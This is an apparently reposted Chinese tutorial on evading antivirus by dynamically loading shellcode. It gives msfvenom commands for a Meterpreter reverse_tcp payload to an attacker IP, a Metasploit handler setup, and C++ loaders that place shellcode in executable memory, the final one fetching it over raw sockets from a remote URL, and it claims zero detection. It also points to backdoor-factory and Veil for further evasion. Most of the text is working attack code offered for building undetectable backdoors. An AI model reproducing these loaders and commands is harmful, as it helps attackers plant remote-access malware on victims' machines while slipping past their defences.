動態加載 ShellCode繞過殺軟


反病毒解決方案用於檢測惡意文件,並且通常使用靜態分析技術來區分二進制文件的好壞。如果是惡意文件本身包含惡意內容(ShellCode),那么依靠靜態分析技術會非常有效,但如果攻擊者使用輕量級的stager來代替下載並將代碼加載到內存中,會發生什么?事實證明這樣做可以繞過大多數殺軟的查殺。

雖然這種繞過方法並不是新鮮技術,但繞過反病毒軟件對於大多數后門來說都是必要的,在這篇文章中,我們將使用virscan作為我們的檢測工具,並使用Metasploit生成一些反向的ShellCode作為我們的攻擊載荷。通過使用virscan雲鑒定技術,可以衡量出Payload的是否免殺,但需要注意的是,只有動態檢測或基於行為的檢測,才能真正捕獲到現實世界中的Payload。

首先我們使用 msfvenom 命令創建一個具有反向連接Shell的可執行文件,生成命令(Linux)如下:

[root@localhost ~]#  msfvenom –p windows/meterpreter/reverse_tcp \
>                               lhost=192.168.1.30 lport=8888 \
>                               -f exe -o lyshark.exe

上方的代碼就可以生成一個lyshark.exe的可執行文件,將此文件上傳到VirusTotal,發現它會被大量反病毒引擎所查殺,這是正常的,因為它是一個常見的Payload,許多安全廠商都會針對Metasploit進行特征碼的提取與查殺。

嵌入式 Shellcode

通過上方的方式生成后門文件是不可取的,因為大多數反病毒廠商都掌握了Metasploit可執行模板的簽名,因此我們決定創建自己的可執行文件,然后手動實現 ShellCode的加載工作。我們再次使用 msfvenom 命令,但在這次只生成 ShellCode,而不是完整的可執行文件:

[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 -f c

上方代碼會生成一個Payload有效載荷,這里我們需要記下來,然后將ShellCode復制到一個單獨的C++源文件中,然后編譯生成一個可執行文件。

#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv){
	char ShellCode[] = "\0x0x0x0x0x0x0x......";            // ShellCode 填充到這里。
	
	void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, ShellCode, sizeof ShellCode);
	((void(*)())exec)();
	return 0;
}

生成成功后,我們將攻擊主機運行一個監聽事件,然后打開生成后的后門,然后發現能夠成功上線。

[root@localhost ~]# msfconsole 
msf5 > 
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z

但是這種方式也是會直接被檢測到,原因是ShellCode已經被加入了特征,接下來我們將通過遠程的方式加載ShellCode代碼,讓惡意代碼與加載器分離。

遠程加載 Shellcode

上方的掃描結果依然會報毒,原因就是ShellCode已經被捕捉了特征,這里我們將動態加載ShellCode。它不是使用已編寫到二進制文件中的ShellCode編譯可執行文件,而是在運行時動態獲取ShellCode代碼,並將其動態的加載到內存中執行,從而做到ShellCode與加載器的分離,減少誤報的概率。

#include <Windows.h>
#include <iostream>
#include <string>
#include <cstring>
#include <winhttp.h>
#include <stdlib.h>
#pragma comment(lib,"winhttp.lib")
using namespace std;

LPSTR get_shellcode(){

	return 0;
}

int main(int argc,char **argv){
	LPSTR hex_instructions = get_shellcode();
	const char* ShellCode = hex_instructions;
	int shellcode_length = strlen(ShellCode);

	unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length / 2; count++){
		sscanf(ShellCode, "%2hhx", &value[count]);
		ShellCode += 2;
	}

	void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, value, shellcode_length /2 );
	((void(*)())exec)();
	return 0;
}

上方代碼中創建了一個名為get_shellcode()函數,用於從另一台主機遠程下載前面示例中使用的ShellCode。該函數使用winhttp庫中的各種方法,通過HTTP的方式檢索ShellCode。此外,當從遠程位置以ASCII格式加載ShellCode時,需要執行額外步驟,要將指令轉換為准備執行的原始二進制格式,這里的get_shellcode()並沒有填充完整。

本次殺毒,你會發現誤報全部消失了,因為在可執行文件中並沒有惡意的ShellCode,並且也沒有添加任何的下載函數,但如果添加了下載函數,此種方法生成的后門依然會存在誤報。

替代文件下載功能

盡管我們已經分離除了程序中的 ShellCode代碼,但有些殺毒軟件仍然會報毒。為了獲得0命中率,我們要思考,在這一過程遺漏了什么 ?

我們需要重新思考,首先要確定代碼的哪個部分導致了告警。從直覺上,懷疑是函數 VirtualAlloc 和 memcpy 導致反病毒引擎認為該文件是可疑的,因為這些函數通常被用於內存注入。但是很多程序都會在內存中分配空間,所以這種猜測本身就是不正確的,實際上HTTP請求調用的函數可以獲得遠程托管的ShellCode,從而導致可疑的結果。通常我們會使用的函數是:

WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle

但是這些函數,很容易就被殺軟盯上,但幸運的是,Windows 提供了許多不同的庫,可用於下載數據,例如WinInet,WinHTTP和Windows套接字。通過切換到更加手動的基於套接字的實現 ,如果使用這些第三方庫或使用系統自帶的下載命令,則任何防病毒引擎都不再將下載代碼標記為可疑。

void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);

然后將其與先前演示的shellcode加載過程相結合。

#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <cstring>
using std::string;
#pragma comment(lib,"ws2_32.lib")

HINSTANCE hInst;
WSADATA wsaData;
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);

int main(){
	const int bufLen = 1024;
	char *szUrl = "lyshark.com/shellcode";
	long fileSize;
	char *memBuffer, *headerBuffer;
	FILE *fp;
	memBuffer = headerBuffer = NULL;

	if (WSAStartup(0x101, &wsaData) != 0){
		return -1;
	}

	memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
	if (fileSize != 0)
	{
		fp = fopen("down.file", "wb");
		fwrite(memBuffer, 1, fileSize, fp);
		fclose(fp);
		delete(headerBuffer);
	}
	int code_length = strlen(memBuffer);
	unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));

	for (size_t count=0; count < code_length / 2; count++){
		sscanf(memBuffer, "%2hhx", &value[count]);
		memBuffer += 2;
	}

	void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, value, code_length / 2);
	((void(*)())exec)();
	WSACleanup();
	return 0;
}

最終的有效負載成功地向偵聽主機發送了反向shell,更重要的是,VirScan上的檢測率為零,本文所采取的步驟,展示了如何通過一些簡單的修改,來使Payload繞過殺軟的查殺。然而,我們還可以選擇許多其他選項,包括:

  1. 在已知合法的二進制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
  2. 使用Veil(https://github.com/Veil-Framework/Veil)進行Payload的編碼和加密。
  3. 使用其他語言,例如:PowerShell、Python、Ruby、C#、Java、Go等。

參考文獻:https://countercept.com/blog/dynamic-shellcode-execution


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM